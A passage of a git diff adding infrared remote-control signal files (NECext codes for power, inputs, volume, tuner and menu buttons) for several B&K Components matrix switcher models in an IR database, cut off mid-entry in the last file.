-0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 2F 00 00 00 +# +name: C_ENTER +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 3B 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 3F 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 4A 00 00 00 +# +name: PRE_+ +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 4B 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: FF 00 00 00 +command: 8E 00 00 00 +# +name: PRE_- +type: parsed +protocol: NECext +address: FF 00 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir new file mode 100644 index 000000000..9aa348498 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/31,14.ir @@ -0,0 +1,230 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 17 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 33 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 39 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 5A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 76 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 1F 0E 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir new file mode 100644 index 000000000..9e69a5cbf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/39,141.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 0F 00 00 00 +# +name: STATION_- +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 17 00 00 00 +# +name: STATION_+ +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 1C 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 29 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 29 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 36 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 3E 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 5A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 6E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 76 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 27 8D 00 00 +command: 8E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir new file mode 100644 index 000000000..2cf91cfc3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/44,61.ir @@ -0,0 +1,314 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 02 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 07 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 09 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 23 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 24 00 00 00 +# +name: +_10 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 2E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 2F 00 00 00 +# +name: C_ENTER +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 3E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 3E 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 40 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 4A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 4B 00 00 00 +# +name: D_-_IN +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 76 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: 8E 00 00 00 +# +name: PRE_- +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: C6 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 2C 3D 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir new file mode 100644 index 000000000..a18370ede --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/55,140.ir @@ -0,0 +1,80 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 02 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 0F 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 4A 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 5A 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 6E 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 37 8C 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir new file mode 100644 index 000000000..736159510 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/59,76.ir @@ -0,0 +1,302 @@ +Filetype: IR signals file +Version: 1 +# +name: OFF +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 01 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 03 00 00 00 +# +name: IN_1 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 05 00 00 00 +# +name: IN_3 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 06 00 00 00 +# +name: IN_8 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 07 00 00 00 +# +name: IN_2 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 09 00 00 00 +# +name: IN_7 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 0B 00 00 00 +# +name: IN_4 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 0D 00 00 00 +# +name: IN_5 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 0F 00 00 00 +# +name: STA_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 17 00 00 00 +# +name: STA_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 18 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 1B 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 1C 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 1F 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 20 00 00 00 +# +name: VOL_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 23 00 00 00 +# +name: VOL_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 29 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 2D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 2F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 30 00 00 00 +# +name: SELECT_ENTER +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 30 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 3B 00 00 00 +# +name: ZONE +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 3F 00 00 00 +# +name: SAVE +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 40 00 00 00 +# +name: IN_6 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 4A 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 4B 00 00 00 +# +name: D_IN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 5A 00 00 00 +# +name: BASS_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 65 00 00 00 +# +name: SOURCE_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 66 00 00 00 +# +name: IN_9 +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 76 00 00 00 +# +name: TREB_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 79 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 7D 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: 8E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: A2 00 00 00 +# +name: SOURCE_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: A6 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: C6 00 00 00 +# +name: LOUD +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: CF 00 00 00 +# +name: BASS_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: E5 00 00 00 +# +name: M_[STM] +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: EB 00 00 00 +# +name: TREB_UP +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: F9 00 00 00 +# +name: VIDEO_+ +type: parsed +protocol: NECext +address: 3B 4C 00 00 +command: FA 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir new file mode 100644 index 000000000..3a09eb9fc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/63,12.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 01 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 02 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 03 00 00 00 +# +name: INPUT_1 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 05 00 00 00 +# +name: INPUT_3 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 06 00 00 00 +# +name: INPUT_8 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 07 00 00 00 +# +name: INPUT_2 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 09 00 00 00 +# +name: INPUT_7 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 0B 00 00 00 +# +name: INPUT_4 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 0D 00 00 00 +# +name: INPUT_5 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 0F 00 00 00 +# +name: STA_- +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 17 00 00 00 +# +name: STA_+ +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 18 00 00 00 +# +name: TUNE_- +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 1B 00 00 00 +# +name: TUNE_+ +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 1C 00 00 00 +# +name: C_LEFT +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 1F 00 00 00 +# +name: C_RIGHT +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 20 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 23 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 24 00 00 00 +# +name: +10 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 29 00 00 00 +# +name: C_DOWN +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 2D 00 00 00 +# +name: C_DPWN +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 2D 00 00 00 +# +name: C_UP +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 2E 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 2F 00 00 00 +# +name: C_ENTER +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 30 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 30 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 31 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 32 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 33 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 35 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 36 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 37 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 39 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 3A 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 3B 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 3E 00 00 00 +# +name: INPUT_6 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 4A 00 00 00 +# +name: PRE_+ +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 4B 00 00 00 +# +name: D-IN +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 5A 00 00 00 +# +name: INPUT_9 +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 6E 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 76 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: 8E 00 00 00 +# +name: PRE_- +type: parsed +protocol: NECext +address: 3F 0C 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir new file mode 100644 index 000000000..c814a1d10 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/BnK_Components/Matrix Switcher/64,251.ir @@ -0,0 +1,260 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 40 FB 00 00 +command: 